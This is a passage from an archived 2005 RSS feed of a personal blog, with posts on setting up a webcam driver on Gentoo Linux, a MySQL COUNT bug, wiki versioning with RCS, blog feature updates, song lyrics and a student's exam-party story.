  12455. </p>
  12456.  
  12457. <p>Fazit:</p>
  12458.  
  12459. <ul>
  12460. <li>Die Webcam bietet IMHO mehr als man für 30 CHF erwarten kann</li>
  12461.  
  12462. <li>Mit Linux kann man ohne Neustart Peripheriegeräte von 'unbekannt' zu 'vollständig unterstützt' ändern</li>
  12463. </ul>
  12464. ]]></description>
  12465.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/webshot2.jpg" style="border: 0px none ;" title="Typhoon Webshot II (Klick für grössere Ansicht)"><img width="290" height="158" src="https://blog.x-way.org/images/webshot2_thumb.jpg" alt="Typhoon Webshot II (Thumbnail)" title="Typhoon Webshot II (Klick für grössere Ansicht)" style="border: 0px none ;"></a>
  12466. <p>Heute habe ich beim Einkaufen diese 'Webcam' entdeckt. Für 29.90 CHF
  12467. (~20&#8364;) bietet sie bis zu 30 640&#215;480 Pixel grosse Bilder pro Sekunde.
  12468. Mit dabei eine CD mit Treiber für Windows 98 bis XP.
  12469. </p>
  12470.  
  12471. <p>Als ich sie an mein Linux-PowerBook anschloss sagte mir <code>dmesg</code> nur gerade diese zwei Zeilen:
  12472. </p>
  12473.  
  12474. <pre><code>ohci_hcd 0001:01:1b.0: remote wakeup
  12475. usb 3-1: new full speed USB device using address 2</code></pre>
  12476. <p>Von <a href="http://www.kroah.com/linux-usb/" title="USBView">usbview</a> wurde die Webcam auch nicht erkannt. Also super Voraussetzungen für einen Betrieb mit Linux.<br>
  12477. </p>
  12478.  
  12479. <p>Nach etwas <a href="http://www.google.com/search?q=linux+typhoon+webshot+ii" title="http://www.google.com/search?q=linux+typhoon+webshot+ii">googeln</a> fand ich <a href="http://spca50x.sourceforge.net/" title="SPCA50X USB Camera Linux Driver">spca50x.sf.net</a> und das entsprechende <a href="http://mxhaard.free.fr/download.html" title="spca5xx Download">2.6er-Kernerlmodul</a>. Erfreulicherweise ist das auch im <a href="https://web.archive.org/web/20050405203313/http://packagestest.gentoo.org/ebuilds/?spca5xx-20050328">Portage-Tree</a> von <a href="http://www.gentoo.org" title="Gentoo Linux">Gentoo</a>. Also schnell ein <code>emerge spca5xx</code>. Ein <code>modprobe spca5xx</code>
  12480. lässt einige Fehlermeldungen erscheinen (Unresolved Symbols). Abhilfe
  12481. schafft das Aktivieren der Video for Linux Unterstützung im <a href="http://www.kernel.org" title="kernel.org">Kernel</a>.
  12482. Nach <code>make</code>, <code>make modules</code> und <code>make modules_install</code>
  12483. lädt das spca5xx Modul problemlos (eigentlich sollte man nach einem
  12484. Neukompilieren des Kernels auch den neuen Kernel laden und nicht nur
  12485. die neuen Module!).</p>
  12486.  
  12487. <p>Ein <code>chmod a+rx /dev/video0</code> als <code>root</code> behebt Berechtigunsprobleme, welche beim Zugriff als normaler Benutzer auftreten können.
  12488. </p>
  12489.  
  12490. <p>Fazit:</p>
  12491.  
  12492. <ul>
  12493. <li>Die Webcam bietet IMHO mehr als man für 30 CHF erwarten kann</li>
  12494.  
  12495. <li>Mit Linux kann man ohne Neustart Peripheriegeräte von 'unbekannt' zu 'vollständig unterstützt' ändern</li>
  12496. </ul>
  12497. ]]></content:encoded>
  12498.  </item>
  12499.  
  12500.  <item>
  12501.    <title>Bug in MySQL 4.1.10a?</title>
  12502.    <link>https://blog.x-way.org/Coding/2005/04/01/Bug-in-MySQL-4-1-10a.html</link>
  12503.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324063</guid>
  12504.    <dc:creator>Andreas Jaggi</dc:creator>
  12505.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12506.    <pubDate>Fri, 01 Apr 2005 22:01:00 +0200</pubDate>
  12507.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  12508.    <description><![CDATA[<p>Bisher wurden die Einträge der Indexseite mit diesem SQL-Statement abgefragt:
  12509. </p>
  12510.  
  12511. <pre><code>SELECT w.*, a.nick AS nick, cat.name AS categoryname,
  12512. count(c.id) AS comments,
  12513. l.name AS languagename, l.code AS lc
  12514. FROM `x-log_weblog` AS w, `x-log_authors` AS a,
  12515. `x-log_languages` AS l, `x-log_categories` AS cat
  12516. LEFT JOIN `x-log_comments` AS c ON w.id = c.posting
  12517. WHERE a.id = w.author
  12518. AND cat.id = w.category
  12519. AND w.date &lt;= NOW()
  12520. AND w.public = '1'
  12521. AND w.language &amp; l.id &gt; 0
  12522. GROUP BY w.id
  12523. ORDER BY w.date DESC</code></pre>
  12524. <p>Doch seit <a href="http://hostpoint.ch/" title="Hostpoint - The Data Residence">Hostpoint</a> auf <a href="http://www.mysql.com/" title="MySQL: Die populärste Open-Source-Datenbank der Welt">MySQL</a> 4.1.10a umgestellt hat, stimmt die Anzahl der Kommentare nicht mehr.</p>
  12525.  
  12526. <p>Nach diversen erfolglosen Versuchen die <code>LEFT JOIN</code> Anweisung zu ändern, habe ich in einem <a href="http://bugs.mysql.com/bug.php?id=8821" title="MySQL Bugs: #8821: join to subquery without distinct causes bad COUNT">Bugreport</a> eine Lösung gefunden:</p>
  12527.  
  12528. <pre><code>count(DISTINCT c.id)</code></pre>
  12529. <p>Mangels spezifischer Kenntnisse kann ich nicht beurteilen ob das nun
  12530. ein Bug oder ein Feature ist. Aber da mehrere Bugreports dazu
  12531. existieren scheint es eher ein Bug zu sein.</p>
  12532. ]]></description>
  12533.    <content:encoded><![CDATA[<p>Bisher wurden die Einträge der Indexseite mit diesem SQL-Statement abgefragt:
  12534. </p>
  12535.  
  12536. <pre><code>SELECT w.*, a.nick AS nick, cat.name AS categoryname,
  12537. count(c.id) AS comments,
  12538. l.name AS languagename, l.code AS lc
  12539. FROM `x-log_weblog` AS w, `x-log_authors` AS a,
  12540. `x-log_languages` AS l, `x-log_categories` AS cat
  12541. LEFT JOIN `x-log_comments` AS c ON w.id = c.posting
  12542. WHERE a.id = w.author
  12543. AND cat.id = w.category
  12544. AND w.date &lt;= NOW()
  12545. AND w.public = '1'
  12546. AND w.language &amp; l.id &gt; 0
  12547. GROUP BY w.id
  12548. ORDER BY w.date DESC</code></pre>
  12549. <p>Doch seit <a href="http://hostpoint.ch/" title="Hostpoint - The Data Residence">Hostpoint</a> auf <a href="http://www.mysql.com/" title="MySQL: Die populärste Open-Source-Datenbank der Welt">MySQL</a> 4.1.10a umgestellt hat, stimmt die Anzahl der Kommentare nicht mehr.</p>
  12550.  
  12551. <p>Nach diversen erfolglosen Versuchen die <code>LEFT JOIN</code> Anweisung zu ändern, habe ich in einem <a href="http://bugs.mysql.com/bug.php?id=8821" title="MySQL Bugs: #8821: join to subquery without distinct causes bad COUNT">Bugreport</a> eine Lösung gefunden:</p>
  12552.  
  12553. <pre><code>count(DISTINCT c.id)</code></pre>
  12554. <p>Mangels spezifischer Kenntnisse kann ich nicht beurteilen ob das nun
  12555. ein Bug oder ein Feature ist. Aber da mehrere Bugreports dazu
  12556. existieren scheint es eher ein Bug zu sein.</p>
  12557. ]]></content:encoded>
  12558.  </item>
  12559.  
  12560.  <item>
  12561.    <title>Lang – Kurz</title>
  12562.    <link>https://blog.x-way.org/Misc/2005/04/01/Lang-Kurz.html</link>
  12563.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324062</guid>
  12564.    <dc:creator>Andreas Jaggi</dc:creator>
  12565.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12566.    <pubDate>Fri, 01 Apr 2005 00:33:47 +0200</pubDate>
  12567.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  12568.    <description><![CDATA[<img width="303" height="209" src="https://blog.x-way.org/images/langkurz.jpg" title="Lang - Kurz" alt="Lang - Kurz" style="border: 0;">
  12569. ]]></description>
  12570.    <content:encoded><![CDATA[<img width="303" height="209" src="https://blog.x-way.org/images/langkurz.jpg" title="Lang - Kurz" alt="Lang - Kurz" style="border: 0;">
  12571. ]]></content:encoded>
  12572.  </item>
  12573.  
  12574.  <item>
  12575.    <title>Samael – On Earth</title>
  12576.    <link>https://blog.x-way.org/Music/2005/03/06/Samael-On-Earth.html</link>
  12577.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324061</guid>
  12578.    <dc:creator>Andreas Jaggi</dc:creator>
  12579.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12580.    <pubDate>Sun, 06 Mar 2005 17:39:36 +0100</pubDate>
  12581.    <category domain="https://blog.x-way.org/Music/">Music</category>
  12582.    <description><![CDATA[<img src="https://blog.x-way.org/images/samael_reignoflight.jpg" width="200" height="210" alt="Samael - Reign Of Light" title="Samael - Reign Of Light">
  12583. <p>
  12584. Before we could talk<br>
  12585. We were singing<br>
  12586. Before we could run<br>
  12587. We were dancing<br>
  12588. Life is short<br>
  12589. But not a day is lost<br>
  12590. The world goes round and round<br>
  12591. And we go on and on…<br>
  12592. </p>
  12593. <br><br>
  12594. <p>
  12595. Beijing to Amsterdam<br>
  12596. Berlin to Buenos Aires<br>
  12597. Sydney to L.A.<br>
  12598. Rio to Abidjan<br>
  12599. Stockholm to Athena<br>
  12600. Dublin to Guatemala<br>
  12601. London to Brasilia<br>
  12602. Madrid to Philadelphia<br>
  12603. </p>
  12604. <p>
  12605. Paris to San Francisco<br>
  12606. Detroit to Warszawa<br>
  12607. Moscow to Mexico<br>
  12608. Oslo to New Dehli<br>
  12609. Helsinki to New Orleans<br>
  12610. Vienna to Ankara<br>
  12611. Roma to Lisboa<br>
  12612. On earth, we're all<br>
  12613. </p>
  12614. <p>
  12615. Dancing with the hidden tribe<br>
  12616. Learning to move and fly<br>
  12617. Touching the sky with our hands<br>
  12618. Longing to love to understand<br>
  12619. </p>
  12620. <p>
  12621. Dancing with the hidden tribe<br>
  12622. Learning to move and fly<br>
  12623. Touching the sky with our hands<br>
  12624. Longing to love to understand<br>
  12625. </p>
  12626. <p>
  12627. Wide World!<br>
  12628. Our World!<br>
  12629. </p>
  12630. <p>
  12631. New York to Tokyo<br>
  12632. Melbourne to Budapest<br>
  12633. Prague to Jaipur<br>
  12634. Shangai to Montreal<br>
  12635. Vancouver to Singapore<br>
  12636. Sofia to Johannesburg<br>
  12637. Hong Kong to St. Petersburg<br>
  12638. On earth, we're all<br>
  12639. </p>
  12640. <p>
  12641. Dancing with the hidden tribe<br>
  12642. Learning to move and fly<br>
  12643. Touching the sky with our hands<br>
  12644. Longing to love to understand<br>
  12645. </p>
  12646. <p>
  12647. Dancing with the hidden tribe<br>
  12648. Learning to move and fly<br>
  12649. Touching the sky with our hands<br>
  12650. Longing to love to understand<br>
  12651. </p>
  12652. <p>
  12653. Wide World!<br>
  12654. Wide World!<br>
  12655. Our World!<br>
  12656. </p>
  12657. <p>
  12658. Dancing with the hidden tribe<br>
  12659. Learning to move and fly<br>
  12660. Touching the sky with our hands<br>
  12661. Longing to love to understand<br>
  12662. </p>
  12663. <p>
  12664. Dancing with the hidden tribe<br>
  12665. Learning to move and fly<br>
  12666. Touching the sky with our hands<br>
  12667. Longing to love to understand<br>
  12668. </p>
  12669. ]]></description>
  12670.    <content:encoded><![CDATA[<img src="https://blog.x-way.org/images/samael_reignoflight.jpg" width="200" height="210" alt="Samael - Reign Of Light" title="Samael - Reign Of Light">
  12671. <p>
  12672. Before we could talk<br>
  12673. We were singing<br>
  12674. Before we could run<br>
  12675. We were dancing<br>
  12676. Life is short<br>
  12677. But not a day is lost<br>
  12678. The world goes round and round<br>
  12679. And we go on and on…<br>
  12680. </p>
  12681. <br><br>
  12682. <p>
  12683. Beijing to Amsterdam<br>
  12684. Berlin to Buenos Aires<br>
  12685. Sydney to L.A.<br>
  12686. Rio to Abidjan<br>
  12687. Stockholm to Athena<br>
  12688. Dublin to Guatemala<br>
  12689. London to Brasilia<br>
  12690. Madrid to Philadelphia<br>
  12691. </p>
  12692. <p>
  12693. Paris to San Francisco<br>
  12694. Detroit to Warszawa<br>
  12695. Moscow to Mexico<br>
  12696. Oslo to New Dehli<br>
  12697. Helsinki to New Orleans<br>
  12698. Vienna to Ankara<br>
  12699. Roma to Lisboa<br>
  12700. On earth, we're all<br>
  12701. </p>
  12702. <p>
  12703. Dancing with the hidden tribe<br>
  12704. Learning to move and fly<br>
  12705. Touching the sky with our hands<br>
  12706. Longing to love to understand<br>
  12707. </p>
  12708. <p>
  12709. Dancing with the hidden tribe<br>
  12710. Learning to move and fly<br>
  12711. Touching the sky with our hands<br>
  12712. Longing to love to understand<br>
  12713. </p>
  12714. <p>
  12715. Wide World!<br>
  12716. Our World!<br>
  12717. </p>
  12718. <p>
  12719. New York to Tokyo<br>
  12720. Melbourne to Budapest<br>
  12721. Prague to Jaipur<br>
  12722. Shangai to Montreal<br>
  12723. Vancouver to Singapore<br>
  12724. Sofia to Johannesburg<br>
  12725. Hong Kong to St. Petersburg<br>
  12726. On earth, we're all<br>
  12727. </p>
  12728. <p>
  12729. Dancing with the hidden tribe<br>
  12730. Learning to move and fly<br>
  12731. Touching the sky with our hands<br>
  12732. Longing to love to understand<br>
  12733. </p>
  12734. <p>
  12735. Dancing with the hidden tribe<br>
  12736. Learning to move and fly<br>
  12737. Touching the sky with our hands<br>
  12738. Longing to love to understand<br>
  12739. </p>
  12740. <p>
  12741. Wide World!<br>
  12742. Wide World!<br>
  12743. Our World!<br>
  12744. </p>
  12745. <p>
  12746. Dancing with the hidden tribe<br>
  12747. Learning to move and fly<br>
  12748. Touching the sky with our hands<br>
  12749. Longing to love to understand<br>
  12750. </p>
  12751. <p>
  12752. Dancing with the hidden tribe<br>
  12753. Learning to move and fly<br>
  12754. Touching the sky with our hands<br>
  12755. Longing to love to understand<br>
  12756. </p>
  12757. ]]></content:encoded>
  12758.  </item>
  12759.  
  12760.  <item>
  12761.    <title>phiki.waterwave.ch</title>
  12762.    <link>https://blog.x-way.org/Coding/2005/02/22/phiki_waterwave_ch.html</link>
  12763.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324060</guid>
  12764.    <dc:creator>Andreas Jaggi</dc:creator>
  12765.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12766.    <pubDate>Tue, 22 Feb 2005 13:32:04 +0100</pubDate>
  12767.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  12768.    <description><![CDATA[<p>A month ago or so, someone <a title="Spammed phiki.waterwave.ch" href="https://phiki.x-way.org/phiki.php?goto=FrontPage&amp;r=1.5">spammed</a> my <a title="phiki.waterwave.ch" href="https://phiki.x-way.org">Wiki</a> with asian links. This overwrote all my data because <a title="PhikiWiki (archive.org)" href="https://web.archive.org/web/20050308185206/http://ontosys.com/phiki/?PhikiWiki">PhikiWiki</a>
  12769. doesn't have a backup-mechanism or a versioning system. Since i had a
  12770. backup of the webserver, i could restore the Wiki. But i didn't want to
  12771. restore manually the backup via FTP each time someone overwrites my
  12772. Data.
  12773. </p>
  12774.  
  12775. <p>So i built a versioning system based on <a title="RCS - GNU Project" href="http://www.gnu.org/software/rcs/rcs.html"><code>rcs</code></a>. I've searched the write and read functions in the code and added just an <code>co</code> before the read function and a <code>ci</code> before the write function.</p>
  12776.  
  12777. <p>Now each time someone changes a document, it's stored as a new
  12778. version of the document. The different versions are made accesible by
  12779. the <code>r=</code> GET-parameter (example: version <a title="FrontPage - Version 1.38" href="https://phiki.x-way.org/phiki.php?goto=FrontPage&amp;r=1.38">1.38</a> and <a title="FrontPage - Version 1.50" href="https://phiki.x-way.org/phiki.php?goto=FrontPage&amp;r=1.50">1.50</a> of <a title="FrontPage" href="https://phiki.x-way.org/phiki.php?goto=FrontPage">FrontPage</a>).<br>
  12780. If now someone fills my Wiki with spam, i can just load the last good
  12781. version and store it as the new version. No need to replay a backup via
  12782. FTP.</p>
  12783.  
  12784. <p>The syntax of <a title="PhikiWiki (archive.org)" href="https://web.archive.org/web/20050308185206/http://ontosys.com/phiki/?PhikiWiki">PhikiWiki</a> doesn't have enough features for my needs, so i decided to use <a title="Daring Fireball: Markdown" href="http://daringfireball.net/projects/markdown/">Markdown</a> instead. I just removed all the formatting stuff of phiki and added a simple <code>Markdown($txt);</code> call.</p>
  12785. ]]></description>
  12786.    <content:encoded><![CDATA[<p>A month ago or so, someone <a title="Spammed phiki.waterwave.ch" href="https://phiki.x-way.org/phiki.php?goto=FrontPage&amp;r=1.5">spammed</a> my <a title="phiki.waterwave.ch" href="https://phiki.x-way.org">Wiki</a> with asian links. This overwrote all my data because <a title="PhikiWiki (archive.org)" href="https://web.archive.org/web/20050308185206/http://ontosys.com/phiki/?PhikiWiki">PhikiWiki</a>
  12787. doesn't have a backup-mechanism or a versioning system. Since i had a
  12788. backup of the webserver, i could restore the Wiki. But i didn't want to
  12789. restore manually the backup via FTP each time someone overwrites my
  12790. Data.
  12791. </p>
  12792.  
  12793. <p>So i built a versioning system based on <a title="RCS - GNU Project" href="http://www.gnu.org/software/rcs/rcs.html"><code>rcs</code></a>. I've searched the write and read functions in the code and added just an <code>co</code> before the read function and a <code>ci</code> before the write function.</p>
  12794.  
  12795. <p>Now each time someone changes a document, it's stored as a new
  12796. version of the document. The different versions are made accesible by
  12797. the <code>r=</code> GET-parameter (example: version <a title="FrontPage - Version 1.38" href="https://phiki.x-way.org/phiki.php?goto=FrontPage&amp;r=1.38">1.38</a> and <a title="FrontPage - Version 1.50" href="https://phiki.x-way.org/phiki.php?goto=FrontPage&amp;r=1.50">1.50</a> of <a title="FrontPage" href="https://phiki.x-way.org/phiki.php?goto=FrontPage">FrontPage</a>).<br>
  12798. If now someone fills my Wiki with spam, i can just load the last good
  12799. version and store it as the new version. No need to replay a backup via
  12800. FTP.</p>
  12801.  
  12802. <p>The syntax of <a title="PhikiWiki (archive.org)" href="https://web.archive.org/web/20050308185206/http://ontosys.com/phiki/?PhikiWiki">PhikiWiki</a> doesn't have enough features for my needs, so i decided to use <a title="Daring Fireball: Markdown" href="http://daringfireball.net/projects/markdown/">Markdown</a> instead. I just removed all the formatting stuff of phiki and added a simple <code>Markdown($txt);</code> call.</p>
  12803. ]]></content:encoded>
  12804.  </item>
  12805.  
  12806.  <item>
  12807.    <title>v2_05-rc1</title>
  12808.    <link>https://blog.x-way.org/Coding/2005/02/22/v2_05-rc1.html</link>
  12809.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324059</guid>
  12810.    <dc:creator>Andreas Jaggi</dc:creator>
  12811.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12812.    <pubDate>Tue, 22 Feb 2005 12:13:24 +0100</pubDate>
  12813.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  12814.    <description><![CDATA[<p>Wie immer in den Ferien bastle ich ein bisschen an meinem Weblog rum.</p>
  12815.  
  12816. <p>Dem allgemeinen Trend folgend, werden hier nun auch <a href="http://gravatar.com/" title="gravatar.com">Gravatare</a> unterstützt (Das sind die kleinen Bildchen, welche anhand der E-Mail Adresse angezeigt werden. <a href="http://waterwave.ch/weblog/detail.php?label=Flash-Sites" title="Gravatar Beispiel">Beispiel</a>). Wer noch keinen hat, einfach bei <a href="http://gravatar.com/" title="Gravatar">gravatar.com</a> die E-Mail Adresse registrieren, Bild hinaufladen fertig :-)</p>
  12817.  
  12818. <p>Seit Anfang dieses Jahres gibt es hier nebst deutschen und französischen Inhalten auch noch <a href="http://waterwave.ch/weblog/detail.php?label=English" title="English">englische Beiträge</a>. Bei den <a href="http://waterwave.ch/weblog/settings.php" title="x-log - Einstellungen">Einstellungen</a>, kann man sich eine beliebige Kombination zusammenmixen.</p>
  12819.  
  12820. <p>Das Admininterface habe ich mit Hilfe von <a href="http://www-106.ibm.com/developerworks/library/wa-httpget/" title="Get dynamic Web content with HTTPRequest">xmlHTTPRequest</a> um einen <a href="https://phiki.x-way.org/phiki.php?JavaScript" title="phiki.waterwave.ch - JavaScript">JavaScript</a> <a href="https://web.archive.org/web/20050218093846/https://movabletype.org/docs/mttrackback.html" title="TrackBack Technical Specification (archive.org)">TrackBack</a>
  12821. Client erweitert.<br>
  12822. Leider erlaubt Mozilla keine xmlHTTPRequests auf eine
  12823. andere als die eigene Domain, was die Nutzung sehr einschränkt. Aber
  12824. vielleicht folgt Mozilla in Zukunft dem Beispiel von Safari und erlaubt
  12825. GET-Requests auf beliebige Domains.
  12826. </p>
  12827. ]]></description>
  12828.    <content:encoded><![CDATA[<p>Wie immer in den Ferien bastle ich ein bisschen an meinem Weblog rum.</p>
  12829.  
  12830. <p>Dem allgemeinen Trend folgend, werden hier nun auch <a href="http://gravatar.com/" title="gravatar.com">Gravatare</a> unterstützt (Das sind die kleinen Bildchen, welche anhand der E-Mail Adresse angezeigt werden. <a href="http://waterwave.ch/weblog/detail.php?label=Flash-Sites" title="Gravatar Beispiel">Beispiel</a>). Wer noch keinen hat, einfach bei <a href="http://gravatar.com/" title="Gravatar">gravatar.com</a> die E-Mail Adresse registrieren, Bild hinaufladen fertig :-)</p>
  12831.  
  12832. <p>Seit Anfang dieses Jahres gibt es hier nebst deutschen und französischen Inhalten auch noch <a href="http://waterwave.ch/weblog/detail.php?label=English" title="English">englische Beiträge</a>. Bei den <a href="http://waterwave.ch/weblog/settings.php" title="x-log - Einstellungen">Einstellungen</a>, kann man sich eine beliebige Kombination zusammenmixen.</p>
  12833.  
  12834. <p>Das Admininterface habe ich mit Hilfe von <a href="http://www-106.ibm.com/developerworks/library/wa-httpget/" title="Get dynamic Web content with HTTPRequest">xmlHTTPRequest</a> um einen <a href="https://phiki.x-way.org/phiki.php?JavaScript" title="phiki.waterwave.ch - JavaScript">JavaScript</a> <a href="https://web.archive.org/web/20050218093846/https://movabletype.org/docs/mttrackback.html" title="TrackBack Technical Specification (archive.org)">TrackBack</a>
  12835. Client erweitert.<br>
  12836. Leider erlaubt Mozilla keine xmlHTTPRequests auf eine
  12837. andere als die eigene Domain, was die Nutzung sehr einschränkt. Aber
  12838. vielleicht folgt Mozilla in Zukunft dem Beispiel von Safari und erlaubt
  12839. GET-Requests auf beliebige Domains.
  12840. </p>
  12841. ]]></content:encoded>
  12842.  </item>
  12843.  
  12844.  <item>
  12845.    <title>Fin des Examens de printemps</title>
  12846.    <link>https://blog.x-way.org/School/2005/02/18/Fin-des-Examens-de-printemps.html</link>
  12847.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324058</guid>
  12848.    <dc:creator>Andreas Jaggi</dc:creator>
  12849.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12850.    <pubDate>Fri, 18 Feb 2005 17:15:36 +0100</pubDate>
  12851.    <category domain="https://blog.x-way.org/School/">School</category>
  12852.    <description><![CDATA[<p>Hier je me suis lev&#233; &#224; 5.30h apr&#232;s 5 heures de sommeil pour prendre
  12853. le train de 6.43 en direction Renens. Avec le TSOL je suis arriv&#233; &#224;
  12854. l'<a href="http://www.epfl.ch/" title="École Polytechnique Fédérale de Lausanne">EPFL</a> pour faire cette merde d'&#233;xamen <a href="https://web.archive.org/web/20050305233849/http://lampwww.epfl.ch/teaching/it3/2004/html/" title="Informatique Théorique III (archive.org)">informatique th&#233;orique III</a>.</p>
  12855.  
  12856. <p>&#192; midi j'ai mang&#233; avec mes copains et puis on est all&#233; &#224; <a href="http://satwww.epfl.ch/" title="Satellite - Bar, Concerts, Cafés-Théâtres">Sat</a>: Pichet. Pichet. Pichet. Pichet. Pichet. Pichet. Pichet.</p>
  12857.  
  12858. <p>
  12859. Ensuite j'ai d&#238;n&#233; chez un copain avant d'aller au <a href="http://www.unil.ch/planetebleue/" title="Planète bleue">Plan&#232;te bleue</a> ou on a
  12860. continue la f&#234;te de fin des &#233;xamens avec pas mal de Vodka.<br>
  12861. Apr&#232;s minuit on est all&#233; au Jaggers. Vers 4 heures on est sortie du Jaggers et ceux qui habitent en ville se sont couch&#233;s.</p>
  12862.  
  12863. <p>Mais mois et un copain qui n'habite pas en ville, nous sommes march&#233;s &#224; <a href="http://satwww.epfl.ch/" title="Satellite - Bar, Concerts, Cafés-Théâtres">Sat</a> car il n'y a pas de TSOL &#224; cette heure.<br>
  12864. Vers 5 heures on y est arriv&#233;. Heureusement <a href="http://satwww.epfl.ch/" title="Satellite - Bar, Concerts, Cafés-Théâtres">Sat</a> &#233;tait ouvert toute la nuit.<br>
  12865. Puis je suis retourn&#233; &#224; Vufflens-la-Ville avec le TSOL et le train apr&#232;s 7 heures.</p>
  12866.  
  12867. <p>
  12868. &#192; 7.30h je me suis enfin couch&#233;, apr&#232;s 26 heures sans sommeil dont 19 de la f&#234;te.</p>
  12869. ]]></description>
  12870.    <content:encoded><![CDATA[<p>Hier je me suis lev&#233; &#224; 5.30h apr&#232;s 5 heures de sommeil pour prendre
  12871. le train de 6.43 en direction Renens. Avec le TSOL je suis arriv&#233; &#224;
  12872. l'<a href="http://www.epfl.ch/" title="École Polytechnique Fédérale de Lausanne">EPFL</a> pour faire cette merde d'&#233;xamen <a href="https://web.archive.org/web/20050305233849/http://lampwww.epfl.ch/teaching/it3/2004/html/" title="Informatique Théorique III (archive.org)">informatique th&#233;orique III</a>.</p>
  12873.  
  12874. <p>&#192; midi j'ai mang&#233; avec mes copains et puis on est all&#233; &#224; <a href="http://satwww.epfl.ch/" title="Satellite - Bar, Concerts, Cafés-Théâtres">Sat</a>: Pichet. Pichet. Pichet. Pichet. Pichet. Pichet. Pichet.</p>
  12875.  
  12876. <p>
  12877. Ensuite j'ai d&#238;n&#233; chez un copain avant d'aller au <a href="http://www.unil.ch/planetebleue/" title="Planète bleue">Plan&#232;te bleue</a> ou on a
  12878. continue la f&#234;te de fin des &#233;xamens avec pas mal de Vodka.<br>
  12879. Apr&#232;s minuit on est all&#233; au Jaggers. Vers 4 heures on est sortie du Jaggers et ceux qui habitent en ville se sont couch&#233;s.</p>
  12880.  
  12881. <p>Mais mois et un copain qui n'habite pas en ville, nous sommes march&#233;s &#224; <a href="http://satwww.epfl.ch/" title="Satellite - Bar, Concerts, Cafés-Théâtres">Sat</a> car il n'y a pas de TSOL &#224; cette heure.<br>
  12882. Vers 5 heures on y est arriv&#233;. Heureusement <a href="http://satwww.epfl.ch/" title="Satellite - Bar, Concerts, Cafés-Théâtres">Sat</a> &#233;tait ouvert toute la nuit.<br>
  12883. Puis je suis retourn&#233; &#224; Vufflens-la-Ville avec le TSOL et le train apr&#232;s 7 heures.</p>
  12884.  
  12885. <p>
  12886. &#192; 7.30h je me suis enfin couch&#233;, apr&#232;s 26 heures sans sommeil dont 19 de la f&#234;te.</p>
  12887. ]]></content:encoded>
  12888.  </item>
  12889.  
  12890.  <item>
  12891.    <title>Nach dem Booten</title>
  12892.    <link>https://blog.x-way.org/Misc/2005/01/09/Nach-dem-Booten.html</link>
  12893.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324057</guid>
  12894.    <dc:creator>Andreas Jaggi</dc:creator>
  12895.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12896.    <pubDate>Sun, 09 Jan 2005 00:24:59 +0100</pubDate>
  12897.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  12898.    <description><![CDATA[<p>Die ersten 5 Dinge, die ich tue, wenn ich mich an den Computer setze:</p>
  12899.  
  12900. <ol>
  12901.  
  12902.  
  12903. <li>Einloggen</li>
  12904.  
  12905. <li>startx</li>
  12906.  
  12907. <li>Sylpheed-Claws, Firefox und XMMS starten</li>
  12908.  
  12909. <li>Warten bis die E-Mails abgerufen sind</li>
  12910.  
  12911. <li>E-Mails lesen</li>
  12912. </ol>
  12913.  
  12914. <p>Die ersten 5 Websites, die ich besuche:</p>
  12915.  
  12916. <ol>
  12917. <li>x-log</li>
  12918.  
  12919. <li>symlink.ch</li>
  12920.  
  12921. <li>heise.de</li>
  12922.  
  12923. <li>der Rest hängt davon ab, was ich eigentlich am Computer machen wollte</li>
  12924.  
  12925. <li>&#8230;</li>
  12926. </ol>
  12927.  
  12928. <p>Via <a href="https://web.archive.org/web/20050124182604/http://www.cyrus.ruhr.de/article/99/einschaltrituale" title="cyrus.ruhr.de: Einschaltrituale (archive.org)">cyrus.ruhr.de</a>, <a href="https://web.archive.org/web/20050121103144/http://web51.hosting.venue.de/sunlog/item.php?i=490" title="Pocket-Blog (archive.org)">Pocket-Blog</a>, <a href="http://www.lostfocus.de/archives/2005/01/08/chronologisch-und-nachgemacht/" title="LostFocus  Chronologisch und nachgemacht">LostFocus</a>, <a href="https://web.archive.org/web/20051018061733/http://latenightblog.com/index.php?id=305" title="Die fünf ersten - Late Night Blog (archive.org)">Late Night Blog</a>.</p>
  12929. ]]></description>
  12930.    <content:encoded><![CDATA[<p>Die ersten 5 Dinge, die ich tue, wenn ich mich an den Computer setze:</p>
  12931.  
  12932. <ol>
  12933.  
  12934.  
  12935. <li>Einloggen</li>
  12936.  
  12937. <li>startx</li>
  12938.  
  12939. <li>Sylpheed-Claws, Firefox und XMMS starten</li>
  12940.  
  12941. <li>Warten bis die E-Mails abgerufen sind</li>
  12942.  
  12943. <li>E-Mails lesen</li>
  12944. </ol>
  12945.  
  12946. <p>Die ersten 5 Websites, die ich besuche:</p>
  12947.  
  12948. <ol>
  12949. <li>x-log</li>
  12950.  
  12951. <li>symlink.ch</li>
  12952.  
  12953. <li>heise.de</li>
  12954.  
  12955. <li>der Rest hängt davon ab, was ich eigentlich am Computer machen wollte</li>
  12956.  
  12957. <li>&#8230;</li>
  12958. </ol>
  12959.  
